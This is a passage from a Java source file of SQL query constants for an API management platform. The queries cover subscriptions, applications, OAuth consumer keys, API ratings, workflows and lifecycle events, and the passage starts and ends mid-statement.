" FROM " +
" AM_SUBSCRIPTION SUBS," +
" AM_SUBSCRIBER SUB, " +
" AM_APPLICATION APP, " +
" AM_API API " +
" WHERE " +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND LOWER(SUB.USER_ID) = LOWER(?)" +
" AND SUB.TENANT_ID = ? " +
" AND SUBS.APPLICATION_ID = ? " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID" +
" AND API.API_ID = SUBS.API_ID" +
" AND SUBS.SUBS_CREATE_STATE = '" + APIConstants.SubscriptionCreatedStatus.SUBSCRIBE + "'";
public static final String GET_APP_API_USAGE_BY_PROVIDER_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID AS SUBSCRIPTION_ID, " +
" SUBS.APPLICATION_ID AS APPLICATION_ID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.TIER_ID AS TIER_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" API.API_NAME AS API_NAME, " +
" API.API_VERSION AS API_VERSION, " +
" SUB.USER_ID AS USER_ID, " +
" APP.NAME AS APPNAME, " +
" SUBS.UUID AS SUB_UUID, " +
" SUBS.TIER_ID AS SUB_TIER_ID, " +
" APP.UUID AS APP_UUID, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE " +
" FROM " +
" AM_SUBSCRIPTION SUBS, " +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB, " +
" AM_API API " +
" WHERE " +
" SUBS.APPLICATION_ID = APP.APPLICATION_ID " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID " +
" AND API.API_PROVIDER = ? " +
" AND API.API_ID = SUBS.API_ID " +
" AND SUBS.SUB_STATUS != '" + APIConstants.SubscriptionStatus.REJECTED + "'" +
" ORDER BY " +
" APP.NAME";
public static final String GET_SUBSCRIPTIONS_OF_API_SQL =
" SELECT " +
" SUBS.SUBSCRIPTION_ID AS SUBSCRIPTION_ID, " +
" SUBS.APPLICATION_ID AS APPLICATION_ID, " +
" SUBS.SUB_STATUS AS SUB_STATUS, " +
" SUBS.TIER_ID AS TIER_ID, " +
" API.API_PROVIDER AS API_PROVIDER, " +
" SUB.USER_ID AS USER_ID, " +
" APP.NAME AS APPNAME, " +
" SUBS.UUID AS SUB_UUID, " +
" SUBS.CREATED_TIME AS SUB_CREATED_TIME, " +
" SUBS.TIER_ID AS SUB_TIER_ID, " +
" APP.UUID AS APP_UUID, " +
" SUBS.SUBS_CREATE_STATE AS SUBS_CREATE_STATE " +
" FROM " +
" AM_SUBSCRIPTION SUBS, " +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB, " +
" AM_API API " +
" WHERE " +
" SUBS.APPLICATION_ID = APP.APPLICATION_ID " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID " +
" AND API.API_NAME = ? " +
" AND API.API_VERSION = ? " +
" AND API.API_PROVIDER = ? " +
" AND API.API_ID = SUBS.API_ID " +
" AND SUBS.SUB_STATUS != '" + APIConstants.SubscriptionStatus.REJECTED + "'" +
" ORDER BY " +
" APP.NAME";
public static final String GET_SUBSCRIBER_BY_ID_SQL =
" SELECT" +
" SB.USER_ID, " +
" SB.DATE_SUBSCRIBED" +
" FROM " +
" AM_SUBSCRIBER SB , " +
" AM_SUBSCRIPTION SP, " +
" AM_APPLICATION APP, " +
" AM_SUBSCRIPTION_KEY_MAPPING SKM" +
" WHERE " +
" SKM.ACCESS_TOKEN=?" +
" AND SP.APPLICATION_ID=APP.APPLICATION_ID" +
" AND APP.SUBSCRIBER_ID=SB.SUBSCRIBER_ID" +
" AND SP.SUBSCRIPTION_ID=SKM.SUBSCRIPTION_ID";
public static final String GET_OAUTH_CONSUMER_SQL =
" SELECT " +
" ICA.CONSUMER_KEY AS CONSUMER_KEY," +
" ICA.CONSUMER_SECRET AS CONSUMER_SECRET " +
" FROM " +
" AM_SUBSCRIBER SB," +
" AM_APPLICATION APP, " +
" AM_APPLICATION_KEY_MAPPING AKM," +
" IDN_OAUTH_CONSUMER_APPS ICA " +
" WHERE " +
" SB.USER_ID=? " +
" AND SB.TENANT_ID=? " +
" AND APP.NAME=? " +
" AND SB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND AKM.APPLICATION_ID = APP.APPLICATION_ID" +
" AND ICA.USERNAME = SB.USER_ID" +
" AND ICA.TENANT_ID = SB.TENANT_ID" +
" AND ICA.APP_NAME = APP.NAME";
public static final String ADD_OAUTH_CONSUMER_SQL =
" INSERT INTO IDN_OAUTH_CONSUMER_APPS " +
" (CONSUMER_KEY, CONSUMER_SECRET, USERNAME, TENANT_ID, OAUTH_VERSION, APP_NAME, CALLBACK_URL) " +
" VALUES (?,?,?,?,?,?,?) ";
public static final String UPDATE_OAUTH_CONSUMER_SQL =
" UPDATE IDN_OAUTH_CONSUMER_APPS SET CALLBACK_URL = ? WHERE APP_NAME = ?";
public static final String GET_ALL_OAUTH_CONSUMER_APPS_SQL =
"SELECT * FROM IDN_OAUTH_CONSUMER_APPS WHERE CONSUMER_KEY=?";
public static final String GET_API_RATING_SQL =
"SELECT RATING FROM AM_API_RATINGS WHERE API_ID= ? AND SUBSCRIBER_ID=? ";
public static final String ADD_API_RATING_SQL =
"INSERT INTO AM_API_RATINGS (RATING_ID, RATING, API_ID, SUBSCRIBER_ID) VALUES (?,?,?,?)";
public static final String UPDATE_API_RATING_SQL =
"UPDATE AM_API_RATINGS SET RATING=? WHERE API_ID= ? AND SUBSCRIBER_ID=?";
public static final String GET_API_RATING_ID_SQL =
"SELECT RATING_ID FROM AM_API_RATINGS WHERE API_ID= ? AND SUBSCRIBER_ID=? ";
public static final String REMOVE_RATING_SQL =
"DELETE FROM AM_API_RATINGS WHERE RATING_ID =? ";
public static final String GET_API_RATING_INFO_SQL =
"SELECT RATING_ID, API_ID, RATING, SUBSCRIBER_ID FROM AM_API_RATINGS WHERE SUBSCRIBER_ID = ? "
+ "AND API_ID= ? ";
public static final String GET_API_ALL_RATINGS_SQL =
"SELECT RATING_ID, API_ID, RATING, SUBSCRIBER_ID FROM AM_API_RATINGS WHERE API_ID= ? ";
public static final String GET_SUBSCRIBER_NAME_FROM_ID_SQL =
"SELECT USER_ID FROM AM_SUBSCRIBER WHERE SUBSCRIBER_ID = ? ";
public static final String GET_RATING_INFO_BY_ID_SQL =
"SELECT RATING_ID, API_ID, RATING, SUBSCRIBER_ID FROM AM_API_RATINGS WHERE RATING_ID = ? "
+ "AND API_ID= ? ";
public static final String REMOVE_FROM_API_RATING_SQL =
"DELETE FROM AM_API_RATINGS WHERE API_ID=? ";
public static final String GET_API_AVERAGE_RATING_SQL =
" SELECT " +
" CAST( SUM(RATING) AS DECIMAL)/COUNT(RATING) AS RATING " +
" FROM " +
" AM_API_RATINGS " +
" WHERE " +
" API_ID =? " +
" GROUP BY " +
" API_ID ";
public static final String APP_APPLICATION_SQL =
" INSERT INTO AM_APPLICATION (NAME, SUBSCRIBER_ID, APPLICATION_TIER, " +
" CALLBACK_URL, DESCRIPTION, APPLICATION_STATUS, GROUP_ID, CREATED_BY, CREATED_TIME, UPDATED_TIME, " +
"UUID, TOKEN_TYPE)" +
" VALUES (?,?,?,?,?,?,?,?,?,?,?,?)";
public static final String UPDATE_APPLICATION_SQL =
" UPDATE " +
" AM_APPLICATION" +
" SET " +
" NAME = ?," +
" APPLICATION_TIER = ?, " +
" CALLBACK_URL = ?, " +
" DESCRIPTION = ?, " +
" UPDATED_BY = ?, " +
" UPDATED_TIME = ?, " +
" TOKEN_TYPE = ? " +
" WHERE" +
" APPLICATION_ID = ?";
public static final String ADD_APPLICATION_ATTRIBUTES_SQL =
" INSERT INTO AM_APPLICATION_ATTRIBUTES (APPLICATION_ID, NAME, VALUE, TENANT_ID) VALUES (?,?,?,?)";
public static final String REMOVE_APPLICATION_ATTRIBUTES_SQL =
" DELETE FROM " +
" AM_APPLICATION_ATTRIBUTES" +
" WHERE" +
" APPLICATION_ID = ?";
public static final String REMOVE_APPLICATION_ATTRIBUTES_BY_ATTRIBUTE_NAME_SQL =
" DELETE FROM " +
" AM_APPLICATION_ATTRIBUTES" +
" WHERE" +
" NAME = ? AND APPLICATION_ID = ?";
public static final String UPDATE_APPLICATION_STATUS_SQL =
" UPDATE AM_APPLICATION SET APPLICATION_STATUS = ? WHERE APPLICATION_ID = ?";
public static final String GET_APPLICATION_STATUS_BY_ID_SQL =
"SELECT APPLICATION_STATUS FROM AM_APPLICATION WHERE APPLICATION_ID= ?";
public static final String GET_APPLICATION_ID_PREFIX =
" SELECT " +
" APP.APPLICATION_ID " +
" FROM " + " " +
" AM_APPLICATION APP," +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" LOWER(APP.NAME) = LOWER(?)" + " " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID";
public static final String GET_APPLICATION_ID_SQL =
"SELECT APPLICATION_ID FROM AM_APPLICATION WHERE SUBSCRIBER_ID = ? AND NAME= ?";
public static final String GET_APPLICATION_NAME_FROM_ID_SQL =
"SELECT NAME FROM AM_APPLICATION WHERE APPLICATION_ID = ?";
public static final String GET_BASIC_APPLICATION_DETAILS_PREFIX =
" SELECT " +
" APPLICATION_ID, " +
" NAME, " +
" APPLICATION_TIER, " +
" APP.SUBSCRIBER_ID, " +
" CALLBACK_URL, " +
" DESCRIPTION, " +
" APPLICATION_STATUS, " +
" USER_ID " +
" FROM " +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID ";
public static final String GET_APPLICATIONS_PREFIX =
"SELECT " +
" APPLICATION_ID, " +
" NAME," +
" APPLICATION_TIER," +
" APP.SUBSCRIBER_ID, " +
" APP.TOKEN_TYPE, " +
" CALLBACK_URL, " +
" DESCRIPTION, " +
" APPLICATION_STATUS, " +
" USER_ID, " +
" GROUP_ID, " +
" UUID, " +
" APP.CREATED_BY " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID ";
public static final String GET_APPLICATIONS_COUNT =
"SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND " +
" SUB.TENANT_ID=?" +
" And "+
" ( SUB.CREATED_BY like ?" +
" OR APP.NAME like ? )";
public static final String GET_APPLICATION_BY_SUBSCRIBERID_AND_NAME_SQL =
" SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_TIER," +
" APP.CALLBACK_URL," +
" APP.DESCRIPTION, " +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_STATUS, " +
" APP.GROUP_ID, " +
" APP.UPDATED_TIME, "+
" APP.CREATED_TIME, "+
" APP.UUID," +
" APP.TOKEN_TYPE," +
" SUB.USER_ID " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP " +
" WHERE " +
" APP.SUBSCRIBER_ID = ? " +
" AND APP.NAME = ? " +
" AND APP.SUBSCRIBER_ID = SUB.SUBSCRIBER_ID";
public static final String GET_SIMPLE_APPLICATIONS =
" SELECT " +
" APPLICATION_ID, " +
" NAME," +
" USER_ID, " +
" APP.CREATED_BY " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID ";
public static final String GET_APPLICATIONS_BY_OWNER =
"SELECT " +
" UUID, " +
" APPLICATION_ID, " +
" NAME," +
" CREATED_BY, " +
" APPLICATION_STATUS, " +
" GROUP_ID " +
" FROM" +
" AM_APPLICATION " +
" WHERE " +
" CREATED_BY = ? ";
public static final String UPDATE_APPLICATION_OWNER =
"UPDATE AM_APPLICATION " +
" SET " +
"CREATED_BY = ? , " +
"SUBSCRIBER_ID = ? " +
" WHERE " +
" UUID = ? ";
public static final String GET_APPLICATIONS_COUNNT_CASESENSITVE_WITHGROUPID = "SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND " +
" (GROUP_ID= ? OR ((GROUP_ID = '' OR GROUP_ID IS NULL) AND LOWER (SUB.USER_ID) = LOWER(?)))"+
" And "+
" NAME like ?";
public static final String GET_APPLICATIONS_COUNNT_NONE_CASESENSITVE_WITHGROUPID = "SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND " +
" (GROUP_ID= ? OR ((GROUP_ID = '' OR GROUP_ID IS NULL) AND SUB.USER_ID=?))" +
" And "+
" NAME like ?";
public static final String GET_APPLICATIONS_COUNNT_CASESENSITVE_WITH_MULTIGROUPID = "SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND (" +
" (APPLICATION_ID IN ( SELECT APPLICATION_ID FROM AM_APPLICATION_GROUP_MAPPING WHERE GROUP_ID IN ($params) AND TENANT = ?)) " +
" OR " +
" LOWER (SUB.USER_ID) = LOWER(?) )"+
" And "+
" NAME like ?";
public static final String GET_APPLICATIONS_COUNNT_NONE_CASESENSITVE_WITH_MULTIGROUPID = "SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND (" +
" (APPLICATION_ID IN ( SELECT APPLICATION_ID FROM AM_APPLICATION_GROUP_MAPPING WHERE GROUP_ID IN ($params) AND TENANT = ?)) " +
" OR " +
" SUB.USER_ID = ? )" +
" And "+
" NAME like ?";
public static final String GET_APPLICATIONS_COUNNT_CASESENSITVE = "SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND " +
" LOWER(SUB.USER_ID) = LOWER(?)"+
" And "+
" NAME like ?";
public static final String GET_APPLICATIONS_COUNNT_NONE_CASESENSITVE = "SELECT " +
" count(*) count " +
" FROM" +
" AM_APPLICATION APP, " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID = APP.SUBSCRIBER_ID " +
" AND " +
" SUB.USER_ID=?" +
" And "+
" NAME like ?";
public static final String GET_CONSUMER_KEYS_SQL =
" SELECT " +
" MAP.CONSUMER_KEY " +
" FROM " +
" AM_SUBSCRIPTION SUB, " +
" AM_APPLICATION_KEY_MAPPING MAP " +
" WHERE " +
" SUB.APPLICATION_ID = MAP.APPLICATION_ID " +
" AND SUB.API_ID = ?";
public static final String GET_SUBSCRIPTION_ID_OF_APPLICATION_SQL =
"SELECT SUBSCRIPTION_ID FROM AM_SUBSCRIPTION WHERE APPLICATION_ID = ?";
public static final String GET_CONSUMER_KEY_OF_APPLICATION_SQL =
" SELECT" +
" CONSUMER_KEY," +
" CREATE_MODE," +
" KEY_MANAGER" +
" FROM" +
" AM_APPLICATION_KEY_MAPPING " +
" WHERE" +
" APPLICATION_ID = ?";
public static final String REMOVE_APPLICATION_FROM_SUBSCRIPTION_KEY_MAPPINGS_SQL =
"DELETE FROM AM_SUBSCRIPTION_KEY_MAPPING WHERE SUBSCRIPTION_ID = ?";
public static final String REMOVE_APPLICATION_FROM_SUBSCRIPTIONS_SQL =
"DELETE FROM AM_SUBSCRIPTION WHERE APPLICATION_ID = ?";
public static final String REMOVE_APPLICATION_FROM_APPLICATION_KEY_MAPPINGS_SQL =
"DELETE FROM AM_APPLICATION_KEY_MAPPING WHERE APPLICATION_ID = ?";
public static final String REMOVE_APPLICATION_FROM_DOMAIN_MAPPINGS_SQL =
"DELETE FROM AM_APP_KEY_DOMAIN_MAPPING WHERE CONSUMER_KEY = ?";
public static final String REMOVE_APPLICATION_FROM_APPLICATIONS_SQL =
"DELETE FROM AM_APPLICATION WHERE APPLICATION_ID = ?";
public static final String REMOVE_APPLICATION_FROM_APPLICATION_REGISTRATIONS_SQL =
"DELETE FROM AM_APPLICATION_REGISTRATION WHERE APP_ID = ?";
public static final String GET_CONSUMER_KEY_WITH_MODE_SLQ =
" SELECT" +
" CONSUMER_KEY, " +
" KEY_TYPE" +
" FROM" +
" AM_APPLICATION_KEY_MAPPING " +
" WHERE" +
" APPLICATION_ID = ? AND " +
" CREATE_MODE = ?";
public static final String GET_CONSUMER_KEY_FOR_APPLICATION_KEY_TYPE_SQL =
" SELECT " +
" AKM.CONSUMER_KEY " +
" FROM " +
" AM_APPLICATION APP," +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID = AKM.APPLICATION_ID " +
" AND APP.NAME = ? AND AKM.KEY_TYPE=? ";
public static final String GET_CONSUMER_KEY_FOR_APPLICATION_KEY_TYPE_BY_APP_ID_SQL =
" SELECT " +
" AKM.CONSUMER_KEY " +
" FROM " +
" AM_APPLICATION APP," +
" AM_APPLICATION_KEY_MAPPING AKM," +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.SUBSCRIBER_ID=APP.SUBSCRIBER_ID " +
" AND APP.APPLICATION_ID = AKM.APPLICATION_ID " +
" AND APP.APPLICATION_ID = ? AND AKM.KEY_TYPE=? ";
public static final String GET_APPLICATION_ID_BY_CONSUMER_KEY_SQL =
" SELECT " +
" MAP.APPLICATION_ID, " +
" MAP.KEY_TYPE " +
" FROM " +
" AM_APPLICATION_KEY_MAPPING MAP " +
" WHERE " +
" MAP.CONSUMER_KEY = ? ";
public static final String DELETE_APPLICATION_KEY_MAPPING_BY_CONSUMER_KEY_SQL =
"DELETE FROM AM_APPLICATION_KEY_MAPPING WHERE CONSUMER_KEY = ?";
public static final String DELETE_APPLICATION_KEY_MAPPING_BY_UUID_SQL =
"DELETE FROM AM_APPLICATION_KEY_MAPPING WHERE UUID = ?";
public static final String DELETE_APPLICATION_KEY_MAPPING_BY_APPLICATION_ID_SQL =
"DELETE FROM AM_APPLICATION_KEY_MAPPING WHERE APPLICATION_ID = ? AND KEY_TYPE = ?";
public static final String REMOVE_FROM_APPLICATION_REGISTRANTS_SQL =
"DELETE FROM AM_APPLICATION_REGISTRATION WHERE APP_ID = ? AND TOKEN_TYPE = ? AND KEY_MANAGER = ?";
public static final String GET_SUBSCRIBER_CASE_INSENSITIVE_SQL =
" SELECT " +
" SUB.SUBSCRIBER_ID AS SUBSCRIBER_ID," +
" SUB.USER_ID AS USER_ID, " +
" SUB.TENANT_ID AS TENANT_ID," +
" SUB.EMAIL_ADDRESS AS EMAIL_ADDRESS," +
" SUB.DATE_SUBSCRIBED AS DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" LOWER(SUB.USER_ID) = LOWER(?) " +
" AND SUB.TENANT_ID = ?";
public static final String GET_SUBSCRIBER_DETAILS_SQL =
" SELECT " +
" SUB.SUBSCRIBER_ID AS SUBSCRIBER_ID," +
" SUB.USER_ID AS USER_ID, " +
" SUB.TENANT_ID AS TENANT_ID," +
" SUB.EMAIL_ADDRESS AS EMAIL_ADDRESS," +
" SUB.DATE_SUBSCRIBED AS DATE_SUBSCRIBED " +
" FROM " +
" AM_SUBSCRIBER SUB " +
" WHERE " +
" SUB.USER_ID = ? " +
" AND SUB.TENANT_ID = ?";
public static final String GET_API_ID_SQL =
"SELECT API.API_ID FROM AM_API API WHERE API.API_PROVIDER = ? AND API.API_NAME = ? AND API.API_VERSION = ? ";
public static final String GET_API_PRODUCT_ID_SQL =
"SELECT API_ID FROM AM_API WHERE API_PROVIDER = ? AND API_NAME = ? "
+ "AND API_VERSION = ? AND API_TYPE = '" + APIConstants.API_PRODUCT + "'";
public static final String GET_API_PRODUCT_SQL =
"SELECT API_ID, API_TIER FROM AM_API WHERE API_PROVIDER = ? " +
"AND API_NAME = ? AND API_VERSION = ? AND API_TYPE = '" + APIConstants.API_PRODUCT + "'";
public static final String GET_AUDIT_UUID_SQL =
"SELECT MAP.AUDIT_UUID FROM AM_SECURITY_AUDIT_UUID_MAPPING MAP WHERE MAP.API_ID = ?";
public static final String ADD_SECURITY_AUDIT_MAP_SQL =
"INSERT INTO AM_SECURITY_AUDIT_UUID_MAPPING (API_ID, AUDIT_UUID) VALUES (?,?)";
public static final String REMOVE_SECURITY_AUDIT_MAP_SQL =
"DELETE FROM AM_SECURITY_AUDIT_UUID_MAPPING WHERE API_ID = ?";
public static final String ADD_CUSTOM_COMPLEXITY_DETAILS_SQL =
"INSERT INTO AM_GRAPHQL_COMPLEXITY (UUID, API_ID, TYPE, FIELD, COMPLEXITY_VALUE) VALUES (?,?,?,?,?)";
public static final String GET_CUSTOM_COMPLEXITY_DETAILS_SQL =
" SELECT" +
" TYPE," +
" FIELD," +
" COMPLEXITY_VALUE" +
" FROM" +
" AM_GRAPHQL_COMPLEXITY " +
" WHERE" +
" API_ID = ?";
public static final String UPDATE_CUSTOM_COMPLEXITY_DETAILS_SQL =
" UPDATE AM_GRAPHQL_COMPLEXITY " +
" SET " +
" COMPLEXITY_VALUE = ? " +
" WHERE " +
" API_ID = ?" +
" AND TYPE = ? " +
" AND FIELD = ?";
public static final String REMOVE_FROM_GRAPHQL_COMPLEXITY_SQL =
"DELETE FROM AM_GRAPHQL_COMPLEXITY WHERE API_ID = ?";
public static final String ADD_API_LIFECYCLE_EVENT_SQL =
" INSERT INTO AM_API_LC_EVENT (API_ID, PREVIOUS_STATE, NEW_STATE, USER_ID, TENANT_ID, EVENT_DATE)" +
" VALUES (?,?,?,?,?,?)";
public static final String GET_LIFECYCLE_EVENT_SQL =
" SELECT" +
" LC.API_ID AS API_ID," +
" LC.PREVIOUS_STATE AS PREVIOUS_STATE," +
" LC.NEW_STATE AS NEW_STATE," +
" LC.USER_ID AS USER_ID," +
" LC.EVENT_DATE AS EVENT_DATE " +
" FROM" +
" AM_API_LC_EVENT LC, " +
" AM_API API " +
" WHERE" +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND API.API_ID = LC.API_ID";
public static final String GET_SUBSCRIPTION_DATA_SQL =
" SELECT" +
" SUB.SUBSCRIPTION_ID AS SUBSCRIPTION_ID," +
" SUB.TIER_ID AS TIER_ID," +
" SUB.APPLICATION_ID AS APPLICATION_ID," +
" SUB.SUB_STATUS AS SUB_STATUS," +
" API.CONTEXT AS CONTEXT," +
" SKM.ACCESS_TOKEN AS ACCESS_TOKEN," +
" SKM.KEY_TYPE AS KEY_TYPE" +
" FROM" +
" AM_SUBSCRIPTION SUB," +
" AM_SUBSCRIPTION_KEY_MAPPING SKM, " +
" AM_API API " +
" WHERE" +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND SKM.SUBSCRIPTION_ID = SUB.SUBSCRIPTION_ID" +
" AND API.API_ID = SUB.API_ID";
public static final String ADD_SUBSCRIPTION_KEY_MAPPING_SQL =
" INSERT INTO AM_SUBSCRIPTION_KEY_MAPPING (SUBSCRIPTION_ID, ACCESS_TOKEN, KEY_TYPE)" +
" VALUES (?,?,?)";
public static final String GET_APPLICATION_DATA_SQL =
" SELECT" +
" SUB.SUBSCRIPTION_ID AS SUBSCRIPTION_ID," +
" SUB.TIER_ID AS TIER_ID," +
" SUB.SUB_STATUS AS SUB_STATUS," +
" APP.APPLICATION_ID AS APPLICATION_ID," +
" API.CONTEXT AS CONTEXT " +
" FROM" +
" AM_SUBSCRIPTION SUB," +
" AM_APPLICATION APP," +
" AM_API API " +
" WHERE" +
" API.API_PROVIDER = ?" +
" AND API.API_NAME = ?" +
" AND API.API_VERSION = ?" +
" AND SUB.APPLICATION_ID = APP.APPLICATION_ID" +
" AND API.API_ID = SUB.API_ID" +
" AND SUB.SUB_STATUS != '" + APIConstants.SubscriptionStatus.ON_HOLD + "'";
public static final String ADD_API_SQL =
" INSERT INTO AM_API (API_PROVIDER,API_NAME,API_VERSION,CONTEXT,CONTEXT_TEMPLATE,CREATED_BY,CREATED_TIME, API_TIER, API_TYPE)" +
" VALUES (?,?,?,?,?,?,?,?,?)";
public static final String GET_DEFAULT_VERSION_SQL =
"SELECT DEFAULT_API_VERSION FROM AM_API_DEFAULT_VERSION WHERE API_NAME= ? AND API_PROVIDER= ? ";
public static final String ADD_WORKFLOW_ENTRY_SQL =
" INSERT INTO AM_WORKFLOWS (WF_REFERENCE,WF_TYPE,WF_STATUS,WF_CREATED_TIME,WF_STATUS_DESC,TENANT_ID," +
"TENANT_DOMAIN,WF_EXTERNAL_REFERENCE,WF_METADATA,WF_PROPERTIES)" +
" VALUES (?,?,?,?,?,?,?,?,?,?)";
public static final String UPDATE_WORKFLOW_ENTRY_SQL =
" UPDATE AM_WORKFLOWS " +
" SET " +
" WF_STATUS = ?, " +
" WF_STATUS_DESC = ? " +
" WHERE " +
" WF_EXTERNAL_REFERENCE = ?";
public static final String GET_ALL_WORKFLOW_ENTRY_SQL =
"SELECT * FROM AM_WORKFLOWS WHERE WF_EXTERNAL_REFERENCE=?";
public static final String GET_ALL_WORKFLOW_ENTRY_FROM_INTERNAL_REF_SQL =
"SELECT * FROM AM_WORKFLOWS WHERE WF_REFERENCE=? AND WF_TYPE=?";
public static final String ADD_PAYLOAD_SQL =
" UPDATE AM_WORKFLOWS " +
" SET " +
" WF_METADATA = ?, " +
" WF_PROPERTIES = ?, " +
" WF_STATUS_DESC = ? " +
" WHERE " +
" WF_EXTERNAL_REFERENCE = ?";
public static final String DELETE_WORKFLOW_REQUEST_SQL=
" DELETE FROM AM_WORKFLOWS WHERE WF_EXTERNAL_REFERENCE = ?";
public static final String GET_ALL_WORKFLOW_DETAILS_BY_EXTERNALWORKFLOWREF =
" SELECT * FROM AM_WORKFLOWS WHERE WF_EXTERNAL_REFERENCE = ?";
public static final String GET_ALL_WORKFLOW_DETAILS_BY_WORKFLOW_TYPE =
" SELECT * FROM AM_WORKFLOWS WHERE WF_TYPE = ? AND WF_STATUS = ? AND TENANT_DOMAIN = ?";
public static final String GET_ALL_WORKFLOW_DETAILS =
" SELECT * FROM AM_WORKFLOWS WHERE WF_STATUS = ? AND TENANT_DOMAIN = ?";
public static final String GET_ALL_WORKFLOW_DETAILS_BY_EXTERNAL_WORKFLOW_REFERENCE =
" SELECT * FROM AM_WORKFLOWS " +
" WHERE WF_EXTERNAL_REFERENCE = ? " +
" AND WF_STATUS = ? " +
" AND TENANT_DOMAIN = ?";
public static final String UPDATE_PUBLISHED_DEFAULT_VERSION_SQL =
" UPDATE AM_API_DEFAULT_VERSION " +
" SET " +
" PUBLISHED_DEFAULT_API_VERSION = ? " +
" WHERE" +
" API_NAME = ? " +
" AND API_PROVIDER = ?";
public static final String REMOVE_API_DEFAULT_VERSION_SQL =
"DELETE FROM AM_API_DEFAULT_VERSION WHERE API_NAME = ? AND API_PROVIDER = ?";
public static final String GET_PUBLISHED_DEFAULT_VERSION_SQL =
"SELECT PUBLISHED_DEFAULT_API_VERSION FROM AM_API_DEFAULT_VERSION WHERE API_NAME= ? AND API_PROVIDER= ? ";
public static final String ADD_API_DEFAULT_VERSION_SQL =
" INSERT INTO " +
" AM_API_DEFAULT_VERSION(API_NAME,API_PROVIDER,DEFAULT_API_VERSION,PUBLISHED_DEFAULT_API_VERSION)" +
" VALUES (?,?,?,?)";
public static final String ADD_URL_MAPPING_SQL =
" INSERT INTO " +
" AM_API_URL_MAPPING (API_ID,HTTP_METHOD,AUTH_SCHEME,URL_PATTERN,THROTTLING_TIER,MEDIATION_SCRIPT)" +
" VALUES (?,?,?,?,?,?)";
public static final String GET_APPLICATION_BY_NAME_PREFIX =
" SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_TIER," +
" APP.CALLBACK_URL," +
" APP.DESCRIPTION, " +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_STATUS," +
" APP.GROUP_ID," +
" APP.UUID," +
" APP.CREATED_BY," +
" APP.TOKEN_TYPE," +
" SUB.USER_ID," +
" APP.CREATED_BY" +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP";
public static final String GET_APPLICATION_ATTRIBUTES_BY_APPLICATION_ID =
" SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.VALUE" +
" FROM " +
" AM_APPLICATION_ATTRIBUTES APP WHERE APPLICATION_ID = ?";
public static final String GET_APPLICATION_BY_ID_SQL =
" SELECT " +
" APP.APPLICATION_ID," +
" APP.NAME," +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_TIER," +
" APP.CALLBACK_URL," +
" APP.DESCRIPTION, " +
" APP.SUBSCRIBER_ID," +
" APP.APPLICATION_STATUS, " +
" SUB.USER_ID, " +
" APP.GROUP_ID," +
" APP.CREATED_BY," +
" APP.UUID, " +
" APP.TOKEN_TYPE " +
" FROM " +
" AM_SUBSCRIBER SUB," +
" AM_APPLICATION APP " +
" WHERE " +
" APPLICATION_ID = ? " +
